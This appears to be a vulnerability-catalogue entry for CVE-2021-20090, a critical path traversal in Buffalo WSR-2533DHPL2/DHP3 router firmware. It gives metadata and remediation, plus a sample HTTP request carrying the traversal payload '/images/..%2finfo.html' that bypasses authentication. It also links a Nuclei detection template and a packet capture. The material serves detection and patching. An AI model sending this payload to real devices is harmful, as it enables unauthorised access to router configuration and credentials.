| Title | Buffalo WSR-2533DHPL2 - Path Traversal |
|---|---|
| Author | gy741 |
| Severity | Critical |
| Impact | An attacker can exploit this vulnerability to read sensitive files, such as configuration files, credentials, or other sensitive information. |
| Remediation | Apply the latest firmware update provided by Buffalo to fix the path traversal vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94401 |
| CVE ID | CVE-2021-20090 |
| CWE ID | CWE-22 |
| Tags | cve cve2021 lfi buffalo firmware iot kev tenable vkev vuln |
Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 are susceptible to a path traversal vulnerability that could allow unauthenticated remote attackers to bypass authentication in their web interfaces.
GET /images/..%2finfo.html HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.17
Connection: close
Referer: http://www.victim.com/info.html
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-20090.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-20090.pcap
N/AN/A